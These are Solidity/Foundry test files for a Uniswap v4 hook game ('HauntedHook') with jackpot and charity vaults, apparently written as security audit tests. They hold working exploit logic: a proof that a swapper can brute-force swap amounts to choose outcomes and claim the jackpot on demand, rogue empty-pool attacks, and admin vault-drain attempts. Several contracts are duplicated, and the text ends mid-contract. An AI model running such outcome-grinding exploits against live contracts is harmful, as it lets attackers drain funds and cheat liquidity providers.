// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {PoolManager} from "v4-core/PoolManager.sol";
import {IPoolManager} from "v4-core/interfaces/IPoolManager.sol";
import {IUnlockCallback} from "v4-core/interfaces/callback/IUnlockCallback.sol";
import {IHooks} from "v4-core/interfaces/IHooks.sol";
import {PoolKey} from "v4-core/types/PoolKey.sol";
import {Currency} from "v4-core/types/Currency.sol";
import {BalanceDelta} from "v4-core/types/BalanceDelta.sol";
import {SwapParams} from "v4-core/types/PoolOperation.sol";
import {LPFeeLibrary} from "v4-core/libraries/LPFeeLibrary.sol";
import {TickMath} from "v4-core/libraries/TickMath.sol";
import {LaunchToken} from "src/LaunchToken.sol";
import {JackpotVault} from "src/JackpotVault.sol";
import {CharityVault} from "src/CharityVault.sol";
import {HauntedHook} from "src/HauntedHook.sol";
import {HookSaltMiner} from "src/HookSaltMiner.sol";

/// @dev Minimal router: swaps and settles nothing (a pool without liquidity moves no tokens).
contract EmptyPoolRouter is IUnlockCallback {
    IPoolManager internal immutable manager;

    constructor(IPoolManager m) {
        manager = m;
    }

    function swap(PoolKey memory key, SwapParams memory params, bytes memory hookData) external {
        manager.unlock(abi.encode(key, params, hookData));
    }

    function unlockCallback(bytes calldata data) external returns (bytes memory) {
        (PoolKey memory key, SwapParams memory params, bytes memory hookData) =
            abi.decode(data, (PoolKey, SwapParams, bytes));
        BalanceDelta delta = manager.swap(key, params, hookData);
        require(BalanceDelta.unwrap(delta) == 0, "tokens moved");
        return "";
    }
}

contract RoguePoolTest is Test {
    uint160 internal constant SQRT_PRICE_1_1 = 79_228_162_514_264_337_593_543_950_336;

    IPoolManager internal manager;
    LaunchToken internal token;
    JackpotVault internal jackpot;
    CharityVault internal charity;
    HauntedHook internal hook;
    EmptyPoolRouter internal router;

    address internal owner = makeAddr("owner");
    address internal outsider = makeAddr("outsider");

    function setUp() public {
        manager = IPoolManager(address(new PoolManager(address(this))));
        token = new LaunchToken();
        jackpot = new JackpotVault(owner, 300, 10 minutes);
        charity = new CharityVault(owner, makeAddr("charityWallet"), 100, 1 hours);
        bytes memory initCode = abi.encodePacked(
            type(HauntedHook).creationCode,
            abi.encode(address(manager), address(token), owner, address(jackpot), address(charity))
        );
        (bytes32 salt,) =
            HookSaltMiner.mine(address(this), keccak256(initCode), HookSaltMiner.HAUNTED_HOOK_FLAGS, 0, 1_000_000);
        hook = new HauntedHook{salt: salt}(address(manager), address(token), owner, address(jackpot), address(charity));

        vm.startPrank(owner);
        jackpot.grantRole(jackpot.PAYER_ROLE(), address(hook));
        charity.grantRole(charity.SIGNALER_ROLE(), address(hook));
        // The project owner creates the one haunted pool the brief asks for.
        manager.initialize(_key(60), SQRT_PRICE_1_1);
        vm.stopPrank();

        vm.deal(address(jackpot), 100 ether);
        router = new EmptyPoolRouter(manager);
    }

    function _key(int24 tickSpacing) internal view returns (PoolKey memory) {
        return PoolKey({
            currency0: Currency.wrap(address(0)),
            currency1: Currency.wrap(address(token)),
            fee: LPFeeLibrary.DYNAMIC_FEE_FLAG,
            tickSpacing: tickSpacing,
            hooks: IHooks(address(hook))
        });
    }

    /// An outsider with no ETH and no VOID must not be able to win the jackpot through a pool of
    /// their own that holds no liquidity and moves no tokens.
    function test_outsiderPoolWithoutLiquidityCannotWinJackpot() public {
        PoolKey memory rogue = _key(1);
        vm.prank(outsider);
        try manager.initialize(rogue, SQRT_PRICE_1_1) {} catch {}

        assertEq(outsider.balance, 0);
        assertEq(token.balanceOf(outsider), 0);
        SwapParams memory params = SwapParams({
            zeroForOne: false,
            amountSpecified: _grindDir(HauntedHook.Outcome.MiniJackpot, false),
            sqrtPriceLimitX96: TickMath.getSqrtPriceAtTick(1)
        });
        vm.prank(outsider);
        try router.swap(rogue, params, abi.encode(outsider)) {} catch {}

        assertEq(address(jackpot).balance, 100 ether, "jackpot paid for a swap that traded nothing");
        assertEq(outsider.balance, 0, "outsider won the jackpot without trading");
    }

    /// The same empty pool must not move the corruption level every haunted pool's fee is priced from.
    function test_outsiderPoolWithoutLiquidityCannotCorruptTheGame() public {
        PoolKey memory rogue = _key(1);
        vm.prank(outsider);
        try manager.initialize(rogue, SQRT_PRICE_1_1) {} catch {}

        for (uint256 i; i < 20; ++i) {
            SwapParams memory params = SwapParams({
                zeroForOne: i % 2 == 1,
                amountSpecified: _grindDir(HauntedHook.Outcome.CorruptedFee, i % 2 == 1),
                sqrtPriceLimitX96: i % 2 == 1 ? SQRT_PRICE_1_1 : TickMath.getSqrtPriceAtTick(1)
            });
            vm.prank(outsider);
            try router.swap(rogue, params, abi.encode(outsider)) {} catch {}
        }
        assertEq(hook.corruption(), 0, "empty outsider pool raised the shared corruption level");
        assertEq(hook.feeForOutcome(HauntedHook.Outcome.CorruptedFee, hook.corruption()), 3000);
    }

    /// @dev Finds a swap amount whose draw resolves to `target` for the outsider, as any searcher can.
    function _grindDir(HauntedHook.Outcome target, bool zeroForOne) internal view returns (int256 amount) {
        for (amount = 1; amount < 100_000; ++amount) {
            bytes32 next = keccak256(
                abi.encode(
                    hook.seed(), block.prevrandao, address(router), outsider, amount, zeroForOne, hook.swapCount()
                )
            );
            if (hook.outcomeForRoll(uint256(next) % hook.ROLL_RANGE(), hook.corruption()) == target) return amount;
        }
        revert("no amount found");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {JackpotVault} from "src/JackpotVault.sol";
import {CharityVault} from "src/CharityVault.sol";

contract AdminDrainTest is Test {
    address internal owner = makeAddr("owner");

    /// "No withdrawal of any kind by anyone" / "at most once per cooldown": the admin must not be
    /// able to switch the cooldown off and empty the jackpot reserve in one block.
    function test_adminCannotDrainJackpotInOneBlock() public {
        JackpotVault vault = new JackpotVault(owner, 300, 10 minutes);
        vm.deal(address(vault), 100 ether);

        vm.startPrank(owner);
        vault.grantRole(vault.PAYER_ROLE(), owner);
        try vault.setCooldown(0) {} catch {}
        for (uint256 i; i < 228; ++i) {
            try vault.payout(owner) {} catch {}
        }
        vm.stopPrank();

        // one capped release per block at most: 3% of 100 ether
        assertGe(address(vault).balance, 97 ether, "admin emptied the vault in one block");
    }

    function test_adminCannotDrainCharityInOneBlock() public {
        CharityVault vault = new CharityVault(owner, makeAddr("charityWallet"), 100, 1 hours);
        vm.deal(address(vault), 100 ether);

        vm.startPrank(owner);
        vault.grantRole(vault.SIGNALER_ROLE(), owner);
        vault.setCharity(owner);
        try vault.setCooldown(0) {} catch {}
        for (uint256 i; i < 300; ++i) {
            try vault.donate() {} catch {}
        }
        vm.stopPrank();

        assertGe(address(vault).balance, 99 ether, "admin emptied the vault in one block");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {PoolManager} from "v4-core/PoolManager.sol";
import {IPoolManager} from "v4-core/interfaces/IPoolManager.sol";
import {IHooks} from "v4-core/interfaces/IHooks.sol";
import {IUnlockCallback} from "v4-core/interfaces/callback/IUnlockCallback.sol";
import {PoolModifyLiquidityTest} from "v4-core/test/PoolModifyLiquidityTest.sol";
import {PoolKey} from "v4-core/types/PoolKey.sol";
import {Currency, CurrencyLibrary} from "v4-core/types/Currency.sol";
import {BalanceDelta} from "v4-core/types/BalanceDelta.sol";
import {ModifyLiquidityParams, SwapParams} from "v4-core/types/PoolOperation.sol";
import {LPFeeLibrary} from "v4-core/libraries/LPFeeLibrary.sol";
import {TickMath} from "v4-core/libraries/TickMath.sol";
import {LaunchToken} from "src/LaunchToken.sol";
import {JackpotVault} from "src/JackpotVault.sol";
import {CharityVault} from "src/CharityVault.sol";
import {HauntedHook} from "src/HauntedHook.sol";
import {HookSaltMiner} from "src/HookSaltMiner.sol";

/// @dev A production-style swap router: it holds no user state, forwards swaps, settles with the
/// PoolManager and - like the Uniswap Universal Router and V4Router - can receive ETH.
contract EthReceivingRouter is IUnlockCallback {
    IPoolManager public immutable manager;

    constructor(IPoolManager m) {
        manager = m;
    }

    receive() external payable {}

    function swap(PoolKey memory key, SwapParams memory params, bytes memory hookData) external payable {
        manager.unlock(abi.encode(msg.sender, key, params, hookData));
    }

    function unlockCallback(bytes calldata data) external returns (bytes memory) {
        require(msg.sender == address(manager), "not manager");
        (address user, PoolKey memory key, SwapParams memory params, bytes memory hookData) =
            abi.decode(data, (address, PoolKey, SwapParams, bytes));
        BalanceDelta delta = manager.swap(key, params, hookData);
        // ETH -> VOID exact input: pay ETH, take VOID to the user.
        uint256 owed = uint256(uint128(-delta.amount0()));
        manager.settle{value: owed}();
        manager.take(key.currency1, user, uint256(uint128(delta.amount1())));
        return "";
    }
}

contract RouterJackpotTest is Test {
    IPoolManager internal manager;
    LaunchToken internal token;
    JackpotVault internal jackpot;
    CharityVault internal charity;
    HauntedHook internal hook;
    EthReceivingRouter internal router;
    PoolKey internal key;

    address internal owner = makeAddr("owner");
    address internal charityWallet = makeAddr("charityWallet");
    address internal alice = makeAddr("alice");

    receive() external payable {}

    function setUp() public {
        manager = IPoolManager(address(new PoolManager(address(this))));
        token = new LaunchToken();
        jackpot = new JackpotVault(owner, 300, 10 minutes);
        charity = new CharityVault(owner, charityWallet, 100, 1 hours);

        bytes memory initCode = abi.encodePacked(
            type(HauntedHook).creationCode,
            abi.encode(address(manager), address(token), owner, address(jackpot), address(charity))
        );
        (bytes32 salt,) =
            HookSaltMiner.mine(address(this), keccak256(initCode), HookSaltMiner.HAUNTED_HOOK_FLAGS, 0, 1_000_000);
        hook = new HauntedHook{salt: salt}(address(manager), address(token), owner, address(jackpot), address(charity));

        vm.startPrank(owner);
        jackpot.grantRole(jackpot.PAYER_ROLE(), address(hook));
        charity.grantRole(charity.SIGNALER_ROLE(), address(hook));
        hook.forceOutcome(HauntedHook.Outcome.MiniJackpot);
        vm.stopPrank();

        key = PoolKey({
            currency0: CurrencyLibrary.ADDRESS_ZERO,
            currency1: Currency.wrap(address(token)),
            fee: LPFeeLibrary.DYNAMIC_FEE_FLAG,
            tickSpacing: 60,
            hooks: IHooks(address(hook))
        });
        manager.initialize(key, 79_228_162_514_264_337_593_543_950_336);

        PoolModifyLiquidityTest lpRouter = new PoolModifyLiquidityTest(manager);
        vm.deal(address(this), 1e25);
        token.approve(address(lpRouter), type(uint256).max);
        lpRouter.modifyLiquidity{value: 2000 ether}(
            key, ModifyLiquidityParams({tickLower: -887_220, tickUpper: 887_220, liquidityDelta: 1e21, salt: 0}), ""
        );

        router = new EthReceivingRouter(manager);
        (bool ok,) = address(jackpot).call{value: 100 ether}("");
        require(ok);
    }

    /// @notice A user swapping through a third-party router passes no hookData. The jackpot the
    /// swap wins must not be paid to the router contract, which is not a player.
    function test_emptyHookDataMustNotPayTheRouter() public {
        vm.deal(alice, 10 ether);
        uint256 aliceBefore = alice.balance;
        vm.prank(alice);
        bool swapped;
        try router.swap{value: 1 ether}(
            key,
            SwapParams({zeroForOne: true, amountSpecified: -1 ether, sqrtPriceLimitX96: TickMath.MIN_SQRT_PRICE + 1}),
            ""
        ) {
            swapped = true;
        } catch {}

        // Jackpot ETH must never land on the router contract.
        assertEq(address(router).balance, 0, "jackpot paid to the router contract");
        // If the swap went through, whatever was released reached the player who swapped.
        if (swapped) {
            assertEq(alice.balance, aliceBefore - 1 ether + jackpot.totalReleased(), "release did not reach the player");
        }
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {PoolManager} from "v4-core/PoolManager.sol";
import {IPoolManager} from "v4-core/interfaces/IPoolManager.sol";
import {IHooks} from "v4-core/interfaces/IHooks.sol";
import {PoolSwapTest} from "v4-core/test/PoolSwapTest.sol";
import {PoolModifyLiquidityTest} from "v4-core/test/PoolModifyLiquidityTest.sol";
import {PoolKey} from "v4-core/types/PoolKey.sol";
import {Currency, CurrencyLibrary} from "v4-core/types/Currency.sol";
import {ModifyLiquidityParams, SwapParams} from "v4-core/types/PoolOperation.sol";
import {LPFeeLibrary} from "v4-core/libraries/LPFeeLibrary.sol";
import {TickMath} from "v4-core/libraries/TickMath.sol";
import {LaunchToken} from "src/LaunchToken.sol";
import {JackpotVault} from "src/JackpotVault.sol";
import {CharityVault} from "src/CharityVault.sol";
import {HauntedHook} from "src/HauntedHook.sol";
import {HookSaltMiner} from "src/HookSaltMiner.sol";

/// @notice Proof: without touching block.prevrandao, any swapper picks the outcome of their own swap
/// by choosing `amountSpecified`. Every input to the draw (seed, prevrandao, router, beneficiary,
/// swapCount) is public at execution time, so a contract (or an offline search followed by one
/// transaction in the same block) scans amounts until the roll lands in the band it wants.
/// Consequences: every swap can be a FreeSwap (LPs earn nothing from that trader), the jackpot can
/// be claimed on the first swap after every cooldown, and RealityCollapse can be triggered at will.
/// REVIEW.md F3 accepts simulability; this shows it needs no prevrandao control and no luck.
contract OutcomeSelectionProof is Test {
    uint160 internal constant SQRT_PRICE_1_1 = 79_228_162_514_264_337_593_543_950_336;

    IPoolManager internal manager;
    LaunchToken internal token;
    JackpotVault internal jackpot;
    CharityVault internal charity;
    HauntedHook internal hook;
    PoolSwapTest internal swapRouter;
    PoolModifyLiquidityTest internal lpRouter;
    PoolKey internal key;
    address internal owner = makeAddr("owner");
    address internal attacker = makeAddr("attacker");

    receive() external payable {}

    function setUp() public {
        manager = IPoolManager(address(new PoolManager(address(this))));
        token = new LaunchToken();
        jackpot = new JackpotVault(owner, 300, 10 minutes);
        charity = new CharityVault(owner, makeAddr("charityWallet"), 100, 1 hours);
        bytes memory initCode = abi.encodePacked(
            type(HauntedHook).creationCode,
            abi.encode(address(manager), address(token), owner, address(jackpot), address(charity))
        );
        (bytes32 salt,) =
            HookSaltMiner.mine(address(this), keccak256(initCode), HookSaltMiner.HAUNTED_HOOK_FLAGS, 0, 1_000_000);
        hook = new HauntedHook{salt: salt}(address(manager), address(token), owner, address(jackpot), address(charity));
        vm.startPrank(owner);
        jackpot.grantRole(jackpot.PAYER_ROLE(), address(hook));
        vm.stopPrank();

        swapRouter = new PoolSwapTest(manager);
        lpRouter = new PoolModifyLiquidityTest(manager);
        key = PoolKey(
            CurrencyLibrary.ADDRESS_ZERO,
            Currency.wrap(address(token)),
            LPFeeLibrary.DYNAMIC_FEE_FLAG,
            60,
            IHooks(address(hook))
        );
        manager.initialize(key, SQRT_PRICE_1_1);
        vm.deal(address(this), 1e25);
        token.approve(address(lpRouter), type(uint256).max);
        token.approve(address(swapRouter), type(uint256).max);
        lpRouter.modifyLiquidity{value: 2000 ether}(key, ModifyLiquidityParams(-887_220, 887_220, 1e21, 0), "");
        jackpot.fund{value: 10 ether}();
    }

    /// @dev Replicates the hook's draw for the next swap and returns an amount that yields `target`.
    function pickAmount(HauntedHook.Outcome target) internal view returns (int256) {
        bytes32 seed = hook.seed();
        uint256 count = hook.swapCount();
        uint256 corruption = hook.corruption();
        for (int256 amount = -1 ether; amount > -1 ether - 100_000; --amount) {
            bytes32 next =
                keccak256(abi.encode(seed, block.prevrandao, address(swapRouter), attacker, amount, true, count));
            if (hook.outcomeForRoll(uint256(next) % 1000, corruption) == target) return amount;
        }
        revert("no amount found");
    }

    function doSwap(int256 amount) internal {
        swapRouter.swap{value: 2 ether}(
            key,
            SwapParams(true, amount, TickMath.MIN_SQRT_PRICE + 1),
            PoolSwapTest.TestSettings(false, false),
            abi.encode(attacker)
        );
    }

    function test_swapperCannotChooseTheOutcome() public {
        // Expected on a sound design: 20 consecutive swaps are not all free and the jackpot is not
        // claimed on demand. Actual: every one of them is a FreeSwap and the jackpot pays on request.
        uint256 corruptionBefore = hook.corruption();
        for (uint256 i; i < 20; ++i) {
            doSwap(pickAmount(HauntedHook.Outcome.FreeSwap));
        }
        // 20 unforced swaps, all free: corruption rose by exactly 20 (no CorruptedFee, no collapse)
        // and no other outcome's counter moved.
        bool allFree = hook.corruption() == corruptionBefore + 20 && hook.burnCount() == 0 && hook.loreSignals() == 0
            && hook.collapseCount() == 0 && jackpot.releaseCount() == 0;
        assertFalse(allFree, "a swapper selected FreeSwap twenty times in a row without forcing");

        doSwap(pickAmount(HauntedHook.Outcome.MiniJackpot));
        assertEq(attacker.balance, 0, "a swapper claimed the jackpot on demand");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {PoolManager} from "v4-core/PoolManager.sol";
import {IPoolManager} from "v4-core/interfaces/IPoolManager.sol";
import {IHooks} from "v4-core/interfaces/IHooks.sol";
import {PoolSwapTest} from "v4-core/test/PoolSwapTest.sol";
import {PoolModifyLiquidityTest} from "v4-core/test/PoolModifyLiquidityTest.sol";
import {PoolKey} from "v4-core/types/PoolKey.sol";
import {Currency, CurrencyLibrary} from "v4-core/types/Currency.sol";
import {ModifyLiquidityParams, SwapParams} from "v4-core/types/PoolOperation.sol";
import {LPFeeLibrary} from "v4-core/libraries/LPFeeLibrary.sol";
import {TickMath} from "v4-core/libraries/TickMath.sol";
import {LaunchToken} from "src/LaunchToken.sol";
import {JackpotVault} from "src/JackpotVault.sol";
import {CharityVault} from "src/CharityVault.sol";
import {HauntedHook} from "src/HauntedHook.sol";
import {HookSaltMiner} from "src/HookSaltMiner.sol";

/// @notice Proof: without touching block.prevrandao, any swapper picks the outcome of their own swap
/// by choosing `amountSpecified`. Every input to the draw (seed, prevrandao, router, beneficiary,
/// swapCount) is public at execution time, so a contract (or an offline search followed by one
/// transaction in the same block) scans amounts until the roll lands in the band it wants.
/// Consequences: every swap can be a FreeSwap (LPs earn nothing from that trader), the jackpot can
/// be claimed on the first swap after every cooldown, and RealityCollapse can be triggered at will.
/// REVIEW.md F3 accepts simulability; this shows it needs no prevrandao control and no luck.
contract OutcomeSelectionProof is Test {
    uint160 internal constant SQRT_PRICE_1_1 = 79_228_162_514_264_337_593_543_950_336;

    IPoolManager internal manager;
    LaunchToken internal token;
    JackpotVault internal jackpot;
    CharityVault internal charity;
    HauntedHook internal hook;
    PoolSwapTest internal swapRouter;
    PoolModifyLiquidityTest internal lpRouter;
    PoolKey internal key;
    address internal owner = makeAddr("owner");
    address internal attacker = makeAddr("attacker");

    receive() external payable {}

    function setUp() public {
        manager = IPoolManager(address(new PoolManager(address(this))));
        token = new LaunchToken();
        jackpot = new JackpotVault(owner, 300, 10 minutes);
        charity = new CharityVault(owner, makeAddr("charityWallet"), 100, 1 hours);
        bytes memory initCode = abi.encodePacked(
            type(HauntedHook).creationCode,
            abi.encode(address(manager), address(token), owner, address(jackpot), address(charity))
        );
        (bytes32 salt,) =
            HookSaltMiner.mine(address(this), keccak256(initCode), HookSaltMiner.HAUNTED_HOOK_FLAGS, 0, 1_000_000);
        hook = new HauntedHook{salt: salt}(address(manager), address(token), owner, address(jackpot), address(charity));
        vm.startPrank(owner);
        jackpot.grantRole(jackpot.PAYER_ROLE(), address(hook));
        vm.stopPrank();

        swapRouter = new PoolSwapTest(manager);
        lpRouter = new PoolModifyLiquidityTest(manager);
        key = PoolKey(
            CurrencyLibrary.ADDRESS_ZERO,
            Currency.wrap(address(token)),
            LPFeeLibrary.DYNAMIC_FEE_FLAG,
            60,
            IHooks(address(hook))
        );
        manager.initialize(key, SQRT_PRICE_1_1);
        vm.deal(address(this), 1e25);
        token.approve(address(lpRouter), type(uint256).max);
        token.approve(address(swapRouter), type(uint256).max);
        lpRouter.modifyLiquidity{value: 2000 ether}(key, ModifyLiquidityParams(-887_220, 887_220, 1e21, 0), "");
        jackpot.fund{value: 10 ether}();
    }

    /// @dev Replicates the hook's draw for the next swap and returns an amount that yields `target`.
    function pickAmount(HauntedHook.Outcome target) internal view returns (int256) {
        bytes32 seed = hook.seed();
        uint256 count = hook.swapCount();
        uint256 corruption = hook.corruption();
        for (int256 amount = -1 ether; amount > -1 ether - 100_000; --amount) {
            bytes32 next =
                keccak256(abi.encode(seed, block.prevrandao, address(swapRouter), attacker, amount, true, count));
            if (hook.outcomeForRoll(uint256(next) % 1000, corruption) == target) return amount;
        }
        revert("no amount found");
    }

    function doSwap(int256 amount) internal {
        swapRouter.swap{value: 2 ether}(
            key,
            SwapParams(true, amount, TickMath.MIN_SQRT_PRICE + 1),
            PoolSwapTest.TestSettings(false, false),
            abi.encode(attacker)
        );
    }

    function test_swapperCannotChooseTheOutcome() public {
        // Expected on a sound design: 20 consecutive swaps are not all free and the jackpot is not
        // claimed on demand. Actual: every one of them is a FreeSwap and the jackpot pays on request.
        uint256 corruptionBefore = hook.corruption();
        for (uint256 i; i < 20; ++i) {
            doSwap(pickAmount(HauntedHook.Outcome.FreeSwap));
        }
        // 20 unforced swaps, all free: corruption rose by exactly 20 (no CorruptedFee, no collapse)
        // and no other outcome's counter moved.
        bool allFree = hook.corruption() == corruptionBefore + 20 && hook.burnCount() == 0 && hook.loreSignals() == 0
            && hook.collapseCount() == 0 && jackpot.releaseCount() == 0;
        assertFalse(allFree, "a swapper selected FreeSwap twenty times in a row without forcing");

        doSwap(pickAmount(HauntedHook.Outcome.MiniJackpot));
        assertEq(attacker.balance, 0, "a swapper claimed the jackpot on demand");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {PoolManager} from "v4-core/PoolManager.sol";
import {IPoolManager} from "v4-core/interfaces/IPoolManager.sol";
import {IUnlockCallback} from "v4-core/interfaces/callback/IUnlockCallback.sol";
import {IHooks} from "v4-core/interfaces/IHooks.sol";
import {PoolKey} from "v4-core/types/PoolKey.sol";
import {Currency} from "v4-core/types/Currency.sol";
import {BalanceDelta} from "v4-core/types/BalanceDelta.sol";
import {SwapParams} from "v4-core/types/PoolOperation.sol";
import {LPFeeLibrary} from "v4-core/libraries/LPFeeLibrary.sol";
import {TickMath} from "v4-core/libraries/TickMath.sol";
import {LaunchToken} from "src/LaunchToken.sol";
import {JackpotVault} from "src/JackpotVault.sol";
import {CharityVault} from "src/CharityVault.sol";
import {HauntedHook} from "src/HauntedHook.sol";
import {HookSaltMiner} from "src/HookSaltMiner.sol";

/// @dev Minimal router: swaps and settles nothing (a pool without liquidity moves no tokens).
contract EmptyPoolRouter is IUnlockCallback {
    IPoolManager internal immutable manager;

    constructor(IPoolManager m) {
        manager = m;
    }

    function swap(PoolKey memory key, SwapParams memory params, bytes memory hookData) external {
        manager.unlock(abi.encode(key, params, hookData));
    }

    function unlockCallback(bytes calldata data) external returns (bytes memory) {
        (PoolKey memory key, SwapParams memory params, bytes memory hookData) =
            abi.decode(data, (PoolKey, SwapParams, bytes));
        BalanceDelta delta = manager.swap(key, params, hookData);
        require(BalanceDelta.unwrap(delta) == 0, "tokens moved");
        return "";
    }
}

contract RoguePoolTest is Test {
    uint160 internal constant SQRT_PRICE_1_1 = 79_228_162_514_264_337_593_543_950_336;

    IPoolManager internal manager;
    LaunchToken internal token;
    JackpotVault internal jackpot;
    CharityVault internal charity;
    HauntedHook internal hook;
    EmptyPoolRouter internal router;

    address internal owner = makeAddr("owner");
    address internal outsider = makeAddr("outsider");

    function setUp() public {
        manager = IPoolManager(address(new PoolManager(address(this))));
        token = new LaunchToken();
        jackpot = new JackpotVault(owner, 300, 10 minutes);
        charity = new CharityVault(owner, makeAddr("charityWallet"), 100, 1 hours);
        bytes memory initCode = abi.encodePacked(
            type(HauntedHook).creationCode,
            abi.encode(address(manager), address(token), owner, address(jackpot), address(charity))
        );
        (bytes32 salt,) =
            HookSaltMiner.mine(address(this), keccak256(initCode), HookSaltMiner.HAUNTED_HOOK_FLAGS, 0, 1_000_000);
        hook = new HauntedHook{salt: salt}(address(manager), address(token), owner, address(jackpot), address(charity));

        vm.startPrank(owner);
        jackpot.grantRole(jackpot.PAYER_ROLE(), address(hook));
        charity.grantRole(charity.SIGNALER_ROLE(), address(hook));
        // The project owner creates the one haunted pool the brief asks for.
        manager.initialize(_key(60), SQRT_PRICE_1_1);
        vm.stopPrank();

        vm.deal(address(jackpot), 100 ether);
        router = new EmptyPoolRouter(manager);
    }

    function _key(int24 tickSpacing) internal view returns (PoolKey memory) {
        return PoolKey({
            currency0: Currency.wrap(address(0)),
            currency1: Currency.wrap(address(token)),
            fee: LPFeeLibrary.DYNAMIC_FEE_FLAG,
            tickSpacing: tickSpacing,
            hooks: IHooks(address(hook))
        });
    }

    /// An outsider with no ETH and no VOID must not be able to win the jackpot through a pool of
    /// their own that holds no liquidity and moves no tokens.
    function test_outsiderPoolWithoutLiquidityCannotWinJackpot() public {
        PoolKey memory rogue = _key(1);
        vm.prank(outsider);
        try manager.initialize(rogue, SQRT_PRICE_1_1) {} catch {}

        assertEq(outsider.balance, 0);
        assertEq(token.balanceOf(outsider), 0);
        SwapParams memory params = SwapParams({
            zeroForOne: false,
            amountSpecified: _grindDir(HauntedHook.Outcome.MiniJackpot, false),
            sqrtPriceLimitX96: TickMath.getSqrtPriceAtTick(1)
        });
        vm.prank(outsider);
        try router.swap(rogue, params, abi.encode(outsider)) {} catch {}

        assertEq(address(jackpot).balance, 100 ether, "jackpot paid for a swap that traded nothing");
        assertEq(outsider.balance, 0, "outsider won the jackpot without trading");
    }

    /// The same empty pool must not move the corruption level every haunted pool's fee is priced from.
    function test_outsiderPoolWithoutLiquidityCannotCorruptTheGame() public {
        PoolKey memory rogue = _key(1);
        vm.prank(outsider);
        try manager.initialize(rogue, SQRT_PRICE_1_1) {} catch {}

        for (uint256 i; i < 20; ++i) {
            SwapParams memory params = SwapParams({
                zeroForOne: i % 2 == 1,
                amountSpecified: _grindDir(HauntedHook.Outcome.CorruptedFee, i % 2 == 1),
                sqrtPriceLimitX96: i % 2 == 1 ? SQRT_PRICE_1_1 : TickMath.getSqrtPriceAtTick(1)
            });
            vm.prank(outsider);
            try router.swap(rogue, params, abi.encode(outsider)) {} catch {}
        }
        assertEq(hook.corruption(), 0, "empty outsider pool raised the shared corruption level");
        assertEq(hook.feeForOutcome(HauntedHook.Outcome.CorruptedFee, hook.corruption()), 3000);
    }

    /// @dev Finds a swap amount whose draw resolves to `target` for the outsider, as any searcher can.
    function _grindDir(HauntedHook.Outcome target, bool zeroForOne) internal view returns (int256 amount) {
        for (amount = 1; amount < 100_000; ++amount) {
            bytes32 next = keccak256(
                abi.encode(
                    hook.seed(), block.prevrandao, address(router), outsider, amount, zeroForOne, hook.swapCount()
                )
            );
            if (hook.outcomeForRoll(uint256(next) % hook.ROLL_RANGE(), hook.corruption()) == target) return amount;
        }
        revert("no amount found");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {JackpotVault} from "src/JackpotVault.sol";
import {CharityVault} from "src/CharityVault.sol";

contract AdminDrainTest is Test {
    address internal owner = makeAddr("owner");

    /// "No withdrawal of any kind by anyone" / "at most once per cooldown": the admin must not be
    /// able to switch the cooldown off and empty the jackpot reserve in one block.
    function test_adminCannotDrainJackpotInOneBlock() public {
        JackpotVault vault = new JackpotVault(owner, 300, 10 minutes);
        vm.deal(address(vault), 100 ether);

        vm.startPrank(owner);
        vault.grantRole(vault.PAYER_ROLE(), owner);
        try vault.setCooldown(0) {} catch {}
        for (uint256 i; i < 228; ++i) {
            try vault.payout(owner) {} catch {}
        }
        vm.stopPrank();

        // one capped release per block at most: 3% of 100 ether
        assertGe(address(vault).balance, 97 ether, "admin emptied the vault in one block");
    }

    function test_adminCannotDrainCharityInOneBlock() public {
        CharityVault vault = new CharityVault(owner, makeAddr("charityWallet"), 100, 1 hours);
        vm.deal(address(vault), 100 ether);

        vm.startPrank(owner);
        vault.grantRole(vault.SIGNALER_ROLE(), owner);
        vault.setCharity(owner);
        try vault.setCooldown(0) {} catch {}
        for (uint256 i; i < 300; ++i) {
            try vault.donate() {} catch {}
        }
        vm.stopPrank();

        assertGe(address(vault).balance, 99 ether, "admin emptied the vault in one block");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {PoolManager} from "v4-core/PoolManager.sol";
import {IPoolManager} from "v4-core/interfaces/IPoolManager.sol";
import {IHooks} from "v4-core/interfaces/IHooks.sol";
import {IUnlockCallback} from "v4-core/interfaces/callback/IUnlockCallback.sol";
import {PoolModifyLiquidityTest} from "v4-core/test/PoolModifyLiquidityTest.sol";
import {PoolKey} from "v4-core/types/PoolKey.sol";
import {Currency, CurrencyLibrary} from "v4-core/types/Currency.sol";
import {BalanceDelta} from "v4-core/types/BalanceDelta.sol";
import {ModifyLiquidityParams, SwapParams} from "v4-core/types/PoolOperation.sol";
import {LPFeeLibrary} from "v4-core/libraries/LPFeeLibrary.sol";
import {TickMath} from "v4-core/libraries/TickMath.sol";
import {LaunchToken} from "src/LaunchToken.sol";
import {JackpotVault} from "src/JackpotVault.sol";
import {CharityVault} from "src/CharityVault.sol";
import {HauntedHook} from "src/HauntedHook.sol";
import {HookSaltMiner} from "src/HookSaltMiner.sol";

/// @dev A production-style swap router: it holds no user state, forwards swaps, settles with the
/// PoolManager and - like the Uniswap Universal Router and V4Router - can receive ETH.
contract EthReceivingRouter is IUnlockCallback {
    IPoolManager public immutable manager;

    constructor(IPoolManager m) {
        manager = m;
    }

    receive() external payable {}

    function swap(PoolKey memory key, SwapParams memory params, bytes memory hookData) external payable {
        manager.unlock(abi.encode(msg.sender, key, params, hookData));
    }

    function unlockCallback(bytes calldata data) external returns (bytes memory) {
        require(msg.sender == address(manager), "not manager");
        (address user, PoolKey memory key, SwapParams memory params, bytes memory hookData) =
            abi.decode(data, (address, PoolKey, SwapParams, bytes));
        BalanceDelta delta = manager.swap(key, params, hookData);
        // ETH -> VOID exact input: pay ETH, take VOID to the user.
        uint256 owed = uint256(uint128(-delta.amount0()));
        manager.settle{value: owed}();
        manager.take(key.currency1, user, uint256(uint128(delta.amount1())));
        return "";
    }
}

contract RouterJackpotTest is Test {
